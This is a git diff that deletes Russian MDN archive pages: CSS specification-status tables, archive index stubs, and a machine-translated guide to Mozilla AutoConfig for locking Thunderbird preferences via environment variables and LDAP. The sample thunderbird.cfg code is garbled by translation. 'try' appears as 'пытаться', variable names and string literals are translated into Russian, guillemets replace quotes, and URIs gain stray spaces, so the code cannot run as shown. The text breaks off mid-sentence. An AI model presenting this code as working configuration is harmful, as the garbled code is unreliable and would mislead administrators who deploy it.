</tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,160,100);"><strong>{{ SpecName("CSS4 Selectors", "", "") }}</strong></td> - <td>{{ Spec2("CSS4 Selectors") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<h3 id="Modules_in_the_exploring_phase">Modules in the exploring phase</h3> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS4 Images", "", "") }}</strong></td> - <td>{{ Spec2("CSS4 Images") }}</td> - </tr> - <tr> - <td colspan="2"> - <p>Extends:</p> - - <ul> - <li>the <code>image()</code> functional notation to describe the directionality of the image (<code>rtl</code> or <code>ltr</code>), allowing for bidi-sensitive images.</li> - <li>the {{ cssxref("image-orientation") }} property by adding the keyword <code>from-image</code>, allowing to follow EXIF data stored into images to be considered.</li> - </ul> - - <p>Adds:</p> - - <ul> - <li>the <code>image-set()</code> functional notation to allow the definition to equivalent images at different resolution allowing for resolution-negotiated selection of images.</li> - <li>the <code>element()</code> functional notation allowing the use of part of the page as image.</li> - <li>the <code>cross-fade()</code> functional notation allowing to refer to intermediate images when transitioning between two images and defines the interpolation between two images.</li> - <li>the <code>conic-gradient()</code> and <code>repeating-conic-gradient()</code> functional notation describing a new type of gradient.</li> - <li>the {{cssxref("image-rendering")}} property that allow to define how resize of the object should be handled.</li> - </ul> - </td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Device", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Device") }}</td> - </tr> - <tr> - <td colspan="2">Adds a new at-rule, {{ cssxref("@viewport") }}, allowing to specify the size, zoom factor, and orientation of the viewport that is used as the base for the initial containing block.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 GCPM", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 GCPM") }}</td> - </tr> - <tr> - <td colspan="2">Adds the ability to tailor printed version of a document by allowing to control header, footer but also references tables like indexes or tables of content.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS Exclusions", "", "") }}</strong></td> - <td>{{ Spec2("CSS Exclusions") }}</td> - </tr> - <tr> - <td colspan="2">Extends the floats mechanism to define exclusion regions in any positioning scheme. Adds the notion of shapes, in which content must flows.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Lists", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Lists") }}</td> - </tr> - <tr> - <td colspan="2">Extends the list counter mechanism so that list markers can be styled and Web developers can define new list counter schemes.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Regions", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Regions") }}</td> - </tr> - <tr> - <td colspan="2">Defines a new mechanism allowing content to flow across, eventually non-contiguous, multiple areas called regions.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Device", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Device") }}</td> - </tr> - <tr> - <td colspan="2">Adds a new at-rule, {{ cssxref("@viewport") }}, allowing to specify the size, zoom factor, and orientation of the viewport that is used as the base for the initial containing block.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("Filters 1.0", "", "") }}</strong></td> - <td>{{ Spec2("Filters 1.0") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Template", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Template") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Sizing", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Sizing") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS Line Grid", "", "") }}</strong></td> - <td>{{ Spec2("CSS Line Grid") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Positioning", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Positioning") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Ruby", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Ruby") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSSOM", "", "") }}</strong></td> - <td>{{ Spec2("CSSOM") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Overflow", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Overflow") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Font Loading", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Font Loading") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Display", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Display") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS Scope", "", "") }}</strong></td> - <td>{{ Spec2("CSS Scope") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS4 Media Queries", "", "") }}</strong></td> - <td>{{ Spec2("CSS4 Media Queries") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS Non-element Selectors", "", "") }}</strong></td> - <td>{{ Spec2("CSS Non-element Selectors") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("Geometry Interfaces", "", "") }}</strong></td> - <td>{{ Spec2("Geometry Interfaces") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Inline", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Inline") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<h3 id="Modules_in_the_rewriting_phase">Modules in the rewriting phase</h3> - -<p>Modules that are in the rewriting phase are outdated and require to be rewritten. The syntax is still under scrutiny and may evolve a lot, in a non-compatible way. Alternative syntaxes are tested and often implemented.</p> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F33;"><strong>{{ SpecName("CSS3 Box", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Box") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F33;"><strong>{{ SpecName("CSS3 Content", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Content") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: #F33;"><strong>{{ SpecName("CSS3 Inline Layout", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Inline Layout") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> diff --git a/files/ru/archive/events/index.html b/files/ru/archive/events/index.html deleted file mode 100644 index 8db3d2efb0..0000000000 --- a/files/ru/archive/events/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Events -slug: Archive/Events -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Events ---- -<p>Archived event pages</p> - -<p> </p> - -<p>{{Listsubpages("", 100)}}</p> diff --git a/files/ru/archive/index.html b/files/ru/archive/index.html deleted file mode 100644 index e4b9730ea5..0000000000 --- a/files/ru/archive/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Archive of obsolete content -slug: Archive -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive ---- -<p>Here at MDN, we try to avoid outright deleting content that might be useful to people targeting legacy platforms, operating systems, and browsers. Perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers. Or for "reasons," your company is required to use very old software and you need to build Web content that runs on that software. Or perhaps you're just curious about the history of an obsolete feature or API, and how it worked.</p> - -<p>There are many reasons older documentation can be useful. So, we've established this area into which we can archive older documentation. Material in this Archived content zone should <strong>not</strong> be used for building new Web sites or apps for modern browsers. It's here for historical reference only.</p> - -<div class="note"> -<p><strong>Note to writers:</strong> We need to try to keep the subpages here organized instead of all dumped into one large folder. Try to create subtrees for categories of material. Also, only move pages here that are <strong>extremely</strong> obsolete. If anyone might realistically need the information in a living product, it may not be appropriate to move it here. In general, it may be best to discuss it in the <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">MDN Web Docs chat room </a>before moving content here.</p> -</div> - -<p>{{SubpagesWithSummaries}}</p> - -<h2 id="Subnav">Subnav</h2> - -<p>{{ListSubpages("/en-US/docs/Archive", 2, 0, 1)}}</p> diff --git a/files/ru/archive/mdn/index.html b/files/ru/archive/mdn/index.html deleted file mode 100644 index 95f78220b5..0000000000 --- a/files/ru/archive/mdn/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: MDN -slug: Archive/MDN -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/MDN ---- -<p></p><div class="overheadIndicator obsolete obsoleteHeader"><p><strong><span title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span> Obsolete</strong><br>This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it.</p></div><p></p> - -<p>The documentation listed below is archived, obsolete material about MDN itself.</p> - -<p></p><div class="row topicpage-table"> - <div class="section"><dl><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/MDN/Content_kits">Content kits</a></dt><dd class="landingPageList">MDN Content Kits are subject-based collections of technical resources to help you host a local developer meetup or give a technical presentation at an event, conference, or workshop.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/MDN/Howto_Link_a_Github_account">How to link a GitHub account to your MDN profile</a></dt><dd class="landingPageList">All users who wish to contribute to MDN must add a GitHub login to their MDN account in order to edit. This article describes how to add GitHub authentication to your MDN profile.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/MDN/Persona_sign-ins">MDN and Persona sign-ins</a></dt><dd class="landingPageList">Starting on November 1, 2016, we only support GitHub for logging into MDN. If you didn't add a GitHub login to your MDN account before we disabled Persona logins, please file an <a href="https://mzl.la/accounthelp">"Account Help" bug</a> on Bugzilla.</dd></dl></dl></div> - <div class="section"><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/MDN/Subject-matter_experts">Subject-matter experts</a></dt><dd class="landingPageList">This article's purpose is to help writers find the Mozilla developers who have answers for questions about various technologies. If you're an engineer on any Mozilla project, <strong>please</strong> make sure your technology is on this list and that the contact information for your group is provided.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/MDN/Zones">Zones</a></dt><dd class="landingPageList">A <strong>zone</strong> is a special area of MDN whose content is presented with some added user interface elements, such as a special zone navigation box and enhanced visuals in the header area of the page.</dd></dl></div> - </div><p></p> diff --git a/files/ru/archive/misc_top_level/index.html b/files/ru/archive/misc_top_level/index.html deleted file mode 100644 index 2ca2018d08..0000000000 --- a/files/ru/archive/misc_top_level/index.html +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: Misc top level -slug: Archive/Misc_top_level -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Misc_top_level ---- -<p>These pages were moved from the top level of MDN in a spate of furious reorganization.</p> - -<p>{{SubpagesWithSummaries}}</p> diff --git a/files/ru/archive/misc_top_level/mcd,_mission_control_desktop_aka_autoconfig/index.html b/files/ru/archive/misc_top_level/mcd,_mission_control_desktop_aka_autoconfig/index.html deleted file mode 100644 index 12a4a4426a..0000000000 --- a/files/ru/archive/misc_top_level/mcd,_mission_control_desktop_aka_autoconfig/index.html +++ /dev/null @@ -1,1679 +0,0 @@ ---- -title: 'MCD, Mission Control Desktop, AKA AutoConfig' -slug: 'Archive/Misc_top_level/MCD,_Mission_Control_Desktop_AKA_AutoConfig' -translation_of: 'Archive/Misc_top_level/MCD,_Mission_Control_Desktop_AKA_AutoConfig' ---- -<h3 id="Абстрактные"><font>Абстрактные</font></h3> - -<p><font>Этот документ является конкретным примером централизованной автоматической настройки приложений Mozilla; Firefox, Thunderbird, Mozilla Suite 1.xx, Seamonkey и для записи, старый Netscape 4.x. Его оригинальное вдохновение исходит от </font> <a href="http://www.alain.knaff.lu/howto/MozillaCustomization/" rel="freelink">http://www.alain.knaff.lu/howto/MozillaCustomization/</a> и <a href="http://mit.edu/~firefox/www/maintainers/autoconfig.html" rel="freelink">http://mit.edu/~firefox/www/maintain...utoconfig.html</a> . <font>Для истории я сохранил главы Mozilla и Netscape, так как некоторые точки дополняют веб-файл AutoConfig.</font></p> - -<p><font><font>Этот MCD (также известен как autoconfig) не следует путать с </font></font><a class="link-https" href="https://wiki.mozilla.org/Thunderbird:Autoconfiguration" rel="freelink"><font><font>https://wiki.mozilla.org/Thunderbird...oconfiguration</font></font></a><font><font> . </font><font>Миссия состоит в том, чтобы полностью автоматизировать настройку предпочтений приложений Mozilla на основе свойств пользователей, полученных из переменных системы или в каталоге ldap организации.</font></font></p> - -<h3 id="Situation" name="Situation"><font><font>Cитуация</font></font></h3> - -<p><a href="http://www.int-evry.fr/"><font><font>INT-Evry</font></font></a><font><font> управляет около 3000 пользователей (в основном студентов), которые обмениваются компьютерами в лабораториях и компьютерными комнатами «самообслуживания». </font><font>Следовательно, один компьютер может подключать много разных пользователей в течение всего дня. </font><font>Компьютеры с двойной загрузкой (Windows 7 и Linux Fedora 19 к 2013 году). </font><font>Все пользователи имеют личную учетную запись на сервере Windows (AD) и учетную запись LDAP для аутентификации Linux.</font></font></p> - -<h3 id="Objective" name="Objective"><font><font>Задача</font></font></h3> - -<p><font><font>Целью является предоставление пользователям агента почтовой программы, веб-браузера и считывателя новостей, которые автоматически настраиваются (предпочтения) при запуске для текущего пользователя, подключенного к компьютеру. </font><font>Выбор продуктов Mozilla позволяет нам использовать одни и те же приложения во время работы в системах Windows или Linux (я подозреваю, что MAC OSX тоже будет в порядке).</font></font></p> - -<p><font><font>Вместо того, чтобы настраивать индивидуальные файлы конечных пользователей (</font></font><code>~/.mozilla/default/randomdir/prefs.js</code><font><font>), мы теперь используем централизованный набор настроек по умолчанию. </font><font>Этот централизованный файл настроек может блокировать настройки (</font></font><code>lockPref</code><font><font>) или инициализировать их (</font></font><code>defaultPref</code><font><font>) на основе переменных среды (</font></font><code>USER</code><font><font>, </font></font><code>HOME</code><font><font>...) и / или запросов LDAP (выбор адреса электронной почты, общего имени, языка, домашней страницы и т. Д.) Из каталога предприятия.</font></font></p> - -<h3 id="Central_Configuration_File" name="Central_Configuration_File"><font><font>Центральный файл конфигурации</font></font></h3> - -<p><font><font>Эта функция предоставляется через файл JavaScript.</font></font></p> - -<h4 id="File_Location" name="File_Location"><font><font>Местоположение файла (не тестировалось с 2012 года ...)</font></font></h4> - -<p><font><font>В Thunderbird, FireFox, файл предпочтений javascript, который вызывает централизованный файл предпочтений, находится в $ INSTALL_DIR_MOZ_APP / defaults / pref, например, в thunderbird это было бы соответственно для windows / linux:</font></font></p> - -<p><code>C:\Program Files\Mozilla Thunderbird\defaults\pref</code></p> - -<p><code>/usr/lib/thunderbird/default/pref</code></p> - -<div class="note"><font><font>(раньше он находился в </font></font><code>/usr/lib/thunderbird-version#/default/pref</code><font><font>состоянии </font></font><code>/usr/lib/thunderbird-5/default/pref</code><font><font>)</font></font></div> - -<p><font><font>Для цели записи / истории ... старый Netscape 4.x файл закодирован (byte-shift / rotary is 7), и наличие файла ( </font></font><code>netscape.cfg</code><font><font>) в </font></font><code>MOZILLA_HOME</code><font><font>каталоге достаточно для его чтения и выполнения. </font><font>Для Mozilla 1.xx, Firefox, Thunderbird или Netscape 7 он по-прежнему является файлом JavaScript, по умолчанию байтовый сдвиг равен 13, но его можно удалить с помощью </font></font><code>pref("general.config.obscure_value", 0);</code><font><font>предпочтения в любом подходящем </font></font><code>.js</code><font><font>файле, посвященном autoconfig (здесь </font></font><code>autoconf.js</code><font><font>).</font></font></p> - -<p><font><font>Имя файла может быть все что угодно , </font><font>потому что он назван по </font></font><code>general.config</code><font><font>предпочтению , </font><font>которое должно быть добавлено в конце файла </font></font><code>MOZILLA_HOME/default/pref/autoconf.js</code><font><font>или </font></font><code>MOZILLA_HOME/greprefs/autoconf.js</code><font><font>: </font></font><code>pref("general.config.filename", "mozilla.cfg");</code><font><font>.</font></font></p> - -<h4 id="File_API" name="File_API"><font><font>Файловый API</font></font></h4> - -<p><font><font>В этом централизованном файле предпочтений используется JavaScript API, который позволяет нам делать то, что нам нужно.</font></font></p> - -<p><font><font>Это </font></font><code>prefcalls.js</code><font><font>теперь архив в файле omni.jar, расположенный в корне установки приложений mozilla, пример TB5:</font></font></p> - -<pre class="bz_comment_text"><font><font># jar -tvf /usr/lib/thunderbird/omni.jar | </font><font>grep prefcalls.js</font></font><font><font> - 7499 Сб Ноя 05 09:21:34 CET 2011 defaults/autoconfig/prefcalls.js</font></font> -</pre> - -<p>Традиционно (предыдущие версии приложений) есть <code>MOZILLA_HOME/default/autoconfig/prefcalls.js</code>. Наличие <code>pref("general.config.filename", "mozilla.cfg");</code> в любом подходящем <code>.js</code> файле (здесь мы используем <code>autoconf.js</code> выделенный файл) позволяет читать и выполнять <code>prefcalls.js</code>.<br> - <strong>Не используйте имя, <code>all.js</code> потому что оно зарезервировано. Ссылка: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=690370">Баг 690370</a></strong></p> - -<p><font><font>Доступные функции (см. </font></font><code><a href="https://dxr.mozilla.org/mozilla-central/source/extensions/pref/autoconfig/src/prefcalls.js" rel="custom">prefcalls.js</a></code> <font><font>Файл для подробностей):</font></font></p> - -<pre><code>function getPrefBranch() -function pref(prefName, value) -function defaultPref(prefName, value) -function lockPref(prefName, value) -function unlockPref(prefName) -function getPref(prefName) -function getLDAPAttributes(host, base, filter, attribs) -function getLDAPValue(str, key) -function displayError(funcname, message) -function getenv(name)</code></pre> - - - -<h4 id="Configure_AutoConfig" name="Configure_AutoConfig"><font><font>Настройка AutoConfig</font></font></h4> - -<p><font><font>Две директивы просят Thunderbird использовать AutoConfig при запуске:</font></font></p> - -<pre><font><font># cat /usr/lib/thunderbird/defaults/pref/tb-autoconf.js </font></font><font><font> -// 20100526 - Модификация autoconfig Jehan.</font></font><font><font> -//</font></font> -<font><font> -pref("general.config.obscure_value", 0); </font><font>// для файлов MCD .cfg</font></font><font><font> -pref('general.config.filename', 'thunderbird.cfg'); </font><font>// для файлов MCD .cfg</font></font> -</pre> - -<div class="note"><font><font>Раньше он использовался в предыдущих выпусках (до 7.0) в /usr/lib/thunderbird-X.0/default/pref/autoconf.js</font></font></div> - -<p><font><font>Первый </font></font><code>pref</code><font><font>раз говорят нам , </font><font>что мы не будем кодировать файл (не более 13 роторных или 7 Cf ниже), то второе </font></font><code>pref</code><font><font>это имя файла для чтения: </font></font><code>/usr/lib/thunderbird/thunderbird.cfg</code><font><font>. </font><font>(или firefox.cfg, если для firefox ...)</font></font></p> - -<h4 id="File_Encoding" name="File_Encoding"><font><font>Кодирование файлов</font></font></h4> - -<p><font><font>При необходимости кодирование может быть выполнено с помощью скрипта Perl: </font></font><code>moz-byteshift.pl</code><font><font>доступно по адресу </font></font><a href="http://www.alain.knaff.lu/howto/MozillaCustomization/moz-byteshift.pl" rel="freelink"><font><font>http://www.alain.knaff.lu/howto/Mozi...z-byteshift.pl</font></font></a><font><font> .</font></font></p> - -<p><font><font>Для Netscape 4.x также может быть реализована функция преобразования из набора клиентской настройки (CCK) (и другие вещи, такие как персонализация автоматической установки ...): </font></font><a href="http://web.archive.org/web/20040821150212/http://developer.netscape.com/docs/manuals/deploymt/config.htm"><font><font>http://developer.netscape.com/docs/manuals/deploymt/ config.htm</font></font></a><font><font> .</font></font></p> - -<h4 id="AutoConfig_Directives" name="AutoConfig_Directives"><font><font>Директивы AutoConfig</font></font></h4> - -<p><font><font>Здесь мы хотим установить предпочтения пользователей электронной почты для пользователей: Создайте одну учетную запись из своего имени входа, получите свой адрес электронной почты из запроса LDAP и установите корпоративные IMAP-серверы и SMTP-серверы. </font><font>Следовательно, при работе на многопользовательских рабочих станциях каждый пользователь автоматически настраивает Thunderbird для своего профиля.</font></font></p> - -<h5 id="thunderbird.cfg" name="thunderbird.cfg"><font><font>thunderbird.cfg (версия 1)</font></font></h5> - -<p><font><font>Вот полный файл, сначала мы получаем имя пользователя из переменных среды, затем настраиваем адресную книгу LDAP, создаем учетную запись электронной почты и настраиваем IMAP и SMTP:</font></font></p> - -<pre><font><font>[root@calaz /usr/lib/thunderbird]</font></font><font><font> -$ cat thunderbird.cfg</font></font><font><font> -// помещаем все в try/catch</font></font><font><font> -пытаться {</font></font> -<font><font> -// 1) переменные env</font></font><font><font> -if (getenv("USER")!= "") {</font></font><font><font> - // * Настройки NIX</font></font><font><font> - var env_user = getenv("ПОЛЬЗОВАТЕЛЬ");</font></font><font><font> - var env_home = getenv("HOME");</font></font><font><font> -} else {</font></font><font><font> - // Настройки Windows</font></font><font><font> - var env_user = getenv("USERNAME");</font></font><font><font> - var env_home = getenv("HOMEPATH");</font></font><font><font> -}</font></font><font><font> -var env_mozdebug = getenv("MOZILLA_DEBUG");</font></font><font><font> -// var env_user = prompt("indiquez votre login", toto);</font></font> -<font><font> -// 2) заблокировать общие настройки</font></font><font><font> -// Адресная книга LDAP</font></font><font><font> -lockPref("ldap_2.prefs_migrated", true);</font></font><font><font> -lockPref("ldap_2.servers.LDAPINT.auth.savePassword", true);</font></font><font><font> -lockPref("ldap_2.servers.LDAPINT.description", "LDAP INT");</font></font><font><font> -lockPref("ldap_2.servers.LDAPINT.filename", "abook-1.mab");</font></font><font><font> -lockPref("ldap_2.servers.LDAPINT.uri", "ldap: //ldap1.int-evry.Fr: 389 / ou = people, dc = int-evry, dc = fr ?? sub");</font></font><font><font> -lockPref("ldap_2.servers.history.filename", "history.mab");</font></font><font><font> -lockPref("ldap_2.servers.history.replication.lastChangeNumber", 0);</font></font><font><font> -lockPref("ldap_2.servers.pab.filename", "abook.mab");</font></font><font><font> -lockPref("ldap_2.servers.pab.replication.lastChangeNumber", 0);</font></font> -<font><font> -//Счет</font></font><font><font> -lockPref("mail.account.account1.server", "server1");</font></font><font><font> -lockPref("mail.account.account2.identities", "id1");</font></font><font><font> -lockPref("mail.account.account2.server", "server2");</font></font><font><font> -lockPref("mail.accountmanager.accounts", "account1, account2");</font></font><font><font> -lockPref("mail.accountmanager.defaultaccount", "account2");</font></font><font><font> -lockPref("mail.accountmanager.localfoldersserver", "server1");</font></font><font><font> -lockPref("mail.identity.id1.directoryServer", "ldap_2.servers.LDAPINT");</font></font><font><font> -lockPref("mail.identity.id1.draft_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Drafts");</font></font><font><font> -lockPref("mail.identity.id1.drafts_folder_picker_mode", "0");</font></font><font><font> -lockPref("mail.identity.id1.fcc_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Sent");</font></font><font><font> -lockPref("mail.identity.id1.fcc_folder_picker_mode", "0");</font></font><font><font> -lockPref("mail.identity.id1.organization", "INT Evry France");</font></font><font><font> -lockPref("mail.identity.id1.overrideGlobal_Pref", true);</font></font><font><font> -lockPref("mail.identity.id1.reply_to", "");</font></font> -<font><font> -// IMAP</font></font><font><font> -lockPref("mail.server.server2.hostname", "imap-int.int-evry.fr");</font></font><font><font> -lockPref("mail.server.server2.isSecure", true);</font></font><font><font> -lockPref("mail.server.server2.login_at_startup", true);</font></font><font><font> -lockPref("mail.server.server2.max_cached_connections", 5);</font></font><font><font> -//lockPref("mail.server.server2.name "," jehan.procaccia@int-evry.fr ");</font></font><font><font> -lockPref("mail.server.server2.type", "imap");</font></font><font><font> -lockPref("mail.server.server2.userName", env_user);</font></font> -<font><font> -// SMTP</font></font><font><font> -lockPref("mail.identity.id1.smtpServer", "smtp1");</font></font><font><font> -lockPref("mail.identity.id1.stationery_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Шаблоны");</font></font><font><font> -lockPref("mail.identity.id1.tmpl_folder_picker_mode", "0");</font></font><font><font> -lockPref("mail.identity.id1.valid", true);</font></font> -<font><font> -// Общий SMTP</font></font><font><font> -lockPref("mail.smtp.defaultserver", "smtp1");</font></font><font><font> -lockPref("mail.smtpserver.smtp1.auth_method", 0);</font></font><font><font> -lockPref("mail.smtpserver.smtp1.hostname", "smtp-int.int-evry.fr");</font></font><font><font> -lockPref("mail.smtpserver.smtp1.port", 25);</font></font><font><font> -lockPref("mail.smtpserver.smtp1.try_ssl", 0);</font></font><font><font> -lockPref("mail.smtpserver.smtp1.username", "");</font></font><font><font> -lockPref("mail.smtpservers", "smtp1");</font></font><font><font> -lockPref("mail.startup.enabledMailCheckOnce", true);</font></font><font><font> -lockPref("mailnews.quotingPrefs.version", 1);</font></font><font><font> -lockPref("mailnews.ui.threadpane.version", 5);</font></font> -<font><font> -/* 3) определить здесь (потому что если установлено после «4»), ниже он не работает!) ProcessLDAPValues, который в конечном итоге вызывается getLDAPAttributes () чуть ниже,</font></font><font><font> - проверьте код getLDAPAttributes () из $ MOZILLA_HOME / defaults / autoconfig / prefcalls.js, чтобы увидеть внутренний вызов на «user defined» processLDAPValues</font></font><font><font> -*/ -function processLDAPValues(</font></font><code>values</code><font><font>) { - </font></font><code>if(values)</code><font><font> { - // устанавливаем глобальный var со значениями, возвращаемыми из запроса LDAP</font></font><font><font> - ldap_values = значения;</font></font><font><font> - var uid = getLDAPValue(значения, "uid");</font></font><font><font> - var cn = getLDAPValue(значения, "cn");</font></font><font><font> - var mail = getLDAPValue(значения, «почта»);</font></font><font><font> - var URL = getLDAPValue(значения, "labeledURI");</font></font> -<font><font> -// Эти переменные LDAP доступны только в этом контексте processLDAPValues!</font></font><font><font> -// поэтому мы задаем им настройки, которые здесь нужны.</font></font><font><font> -lockPref("mail.identity.id1.useremail", mail);</font></font><font><font> -lockPref("mail.server.server2.name", почта);</font></font><font><font> -lockPref("mail.identity.id1.fullName", cn);</font></font><font><font> -// Отладка с всплывающими сообщениями об ошибках больше не работает :-( !!</font></font><font><font> -var env_mozdebug = getenv ("MOZILLA_DEBUG");</font></font><font><font> -if (env_mozdebug) {displayError("NO ERROR, только отладка, cn =" + cn + "и mail =" + mail); </font><font>}</font></font><font><font> - }</font></font><font><font> - }</font></font><font><font> -// 4) Вызовите LDAP-серверы для получения атрибутов LDAP (mail & cn), это, наконец, вызовет processLDAPValues, «3» «чуть выше».</font></font><font><font> - getLDAPAttributes ("ldap2.int-evry.fr", "ou = people, dc = int-evry, dc = fr", "uid =" + env_user, "uid, cn, mail, labeledURI");</font></font> -<font><font> -// Закройте попытку и вызовите catch ()</font></font><font><font> -} catch(e) {</font></font><font><font> - displayError("lockedPref", e);</font></font><font><font> -}</font></font> -</pre> - -<h5 id="thunderbird.cfg" name="thunderbird.cfg"><font><font>thunderbird.cfg (версия 2 с AD)</font></font></h5> - -<p><font><font>Использование Thunderbird 9.0.1 и попытка использовать Active Directory (Windows Server 2008), поскольку LDAP-Source не работает с версией 1. Вот моя собственная версия.</font></font></p> - -<pre><font><font>// Примечание: для доступа к Active Directory Windows Server позднее 2000</font></font><font><font> -// необходимо разрешить анонимный доступ для чтения. </font><font>Пожалуйста, 